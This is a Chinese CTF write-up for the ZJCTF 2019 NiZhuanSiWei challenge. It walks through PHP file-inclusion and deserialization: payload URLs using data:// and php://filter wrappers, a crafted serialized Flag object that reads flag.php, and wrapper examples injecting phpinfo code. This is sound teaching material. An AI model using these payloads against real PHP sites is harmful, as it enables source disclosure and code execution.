文件包含 [ZJCTF 2019]NiZhuanSiWei1

打开题目

代码审计

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){

首先isset函数检查text参数是否存在且不为空

用file_get_contents函数读取text制定的文件内容并与welcome to the zjctf进行强比较

echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";

如果强比较相等的话,则输出text的内容

if(preg_match("/flag/",$file)){
echo "Not now!";

如果强比较不相等的话,则检查文件内容是否包含/flag,如果包含,则输出Not now

}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;

如果文件内容不包含/flag的话,file指定的文件包含到脚本中,这里提示了useless.php,然后对password的值进行反序列化,然后输出password的值

第一步

所以我们需要传入text文件值必须为welcome to the zjctf

1.用php://input协议以post传参的形式写入,

2.用data伪协议写入内容

welcome to the zjctf的base64编码为d2VsY29tZSB0byB0aGUgempjdGY=

payload:

http://127.0.0.1/include.php?file=data://text/plain,welcome to the zjctf

或者

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

传参后页面回显

第二步

我们用php://filter协议读取file下的useless.php的文件内容

这里我们需要注意用php://filter读取的文件内容是被base64加密后的内容

?file=php://filter/convert.base64-encode/resource=useless.php

和第一步的payload拼接一下即得到第二步的payload

payload:

?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

或者

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

页面回显

第三步

将上一步得到的useless.php的文件内容进行base64解码后得到

得到代码

复制代码
<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

代码审计

class Flag{ //flag.php

public $file;

定义了一个名为Flag的类,然后file参数为公有属性,公共属性$file意味着任何地方都可以访问并修改它。

public function __tostring(){

在类中定义一个 _toString的方法,且设为公有属性,返回字符串信息

if(isset($this->file)){

echo file_get_contents($this->file);

echo "<br>";

如果file的值不为null,输出文件包含下的file值

在第一次的代码审计中,我们需要将password的值进行反序列化操作

那我们可以在在本地搭建网站进行反序列化操作

复制代码
<?php
 
class Flag{  //flag.php  
    public $file="flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a=new Flag();
echo serialize($a);
?>

结果为

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

三步的payload拼接一下即可得到最后的payload

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

或者

?text=data://text/plain,welcome to the zjctf&file=useless.php&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

查看源代码得到flag

复制代码

知识点:

什么是文件包含漏洞?

SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行

以PHP为例,常用的文件包含函数有以下四种

require() :找不到被包含的文件会产生致命错误,并停止脚本运行
include() :找不到被包含的文件只会产生警告,脚本继续执行
require_once() 与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
include_once() 与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含

  • php伪协议

php://filter用于读取源码。

php://input用于执行php代码。

  • php isset函数

isset() 函数检查变量是否被设置,这意味着它必须被声明并且不为 NULL。

  • php file_get_contents函数

将整个文件读入一个字符串

碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据。php://input用于执行php代码。
  • php://input

可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

  • data://

数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

实例用法

1、data://text/plain,

http://127.0.0.1/include.php?file=data://text/plain**,**\<?php%20phpinfo();?>

2、data://text/plain;base64,

http://127.0.0.1/include.php?file=data://text/plain**;**base64,PD9waHAgcGhwaW5mbygpOz8%2B

  • php://filter

对本地磁盘文件进行读写,php://filter读取php文件时候需要base64编码

实例用法:

php://filter/read=convert.base64-encode/resource=[文件名]

http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php

http://127.0.0.1/include.php?file=php://filter/convert.base64-encode/resource=phpinfo.php

效果一样的

  • php类定义 class关键词

图源:PHP 面向对象 | 菜鸟教程

类的基本概念

  • 以关键词class开头,后面跟着类名,类名后面跟着一对花括号,里面包含有类的属性、方法的定义。

  • 类名:由字母、数字、下划线组成。字母或下划线开头。

  • 一个类里包含有自己的常量,类的属性(变量),类的方法(函数)。

  • php public关键词

public 关键字是访问修饰符。 它将属性或方法标记为公共。

任何可以访问对象的代码都可以使用公共属性和方法。公共属性意味着任何地方都可以访问并修改它。

  • php _toString魔术方法

__toString()是快速获取对象的字符串信息的便捷方式

当我们调试程序时,需要知道是否得出正确的数据。比如打印一个对象时,看看这个对象都有哪些属性,其值是什么,如果类定义了toString方法,就能在测试时,echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据。使用__toString() 时返回值一定要使用return 来进行返回

__toString() 方法用于一个类被当成字符串时应怎样回应

而function _tostring 就是在类中定义一个 _toString的方法

参考文章;PHP魔术方法之 __toString()-CSDN博客

复制代码

知识点选自:

【精选】PHP伪协议详解-CSDN博客

文件包含漏洞全面详解_caker丶的博客-CSDN博客

【精选】文件包含&PHP伪协议利用_file_get_contents()支持的协议-CSDN博客

相关推荐
DevSecOps选型指南6 小时前
2025软件供应链安全最佳实践︱证券DevSecOps下供应链与开源治理实践
网络·安全·web安全·开源·代码审计·软件供应链安全
ABB自动化6 小时前
for AC500 PLCs 3ADR025003M9903的安全说明
服务器·安全·机器人
恰薯条的屑海鸥6 小时前
零基础在实践中学习网络安全-皮卡丘靶场(第十六期-SSRF模块)
数据库·学习·安全·web安全·渗透测试·网络安全学习
阿部多瑞 ABU7 小时前
主流大语言模型安全性测试(三):阿拉伯语越狱提示词下的表现与分析
人工智能·安全·ai·语言模型·安全性测试
网安INF8 小时前
CVE-2020-17519源码分析与漏洞复现(Flink 任意文件读取)
java·web安全·网络安全·flink·漏洞
lubiii_9 小时前
墨者学院-密码学实训隐写术第二题
web安全·网络安全·密码学
moongoblin10 小时前
行业赋能篇-2-能源行业安全运维升级
运维·安全·协作
Fortinet_CHINA10 小时前
引领AI安全新时代 Accelerate 2025北亚巡展·北京站成功举办
网络·安全
这儿有一堆花11 小时前
安全访问家中 Linux 服务器的远程方案 —— 专为单用户场景设计
linux·服务器·安全
上海云盾第一敬业销售14 小时前
高防IP可以防护什么攻击类型?企业网络安全的第一道防线
网络·tcp/ip·web安全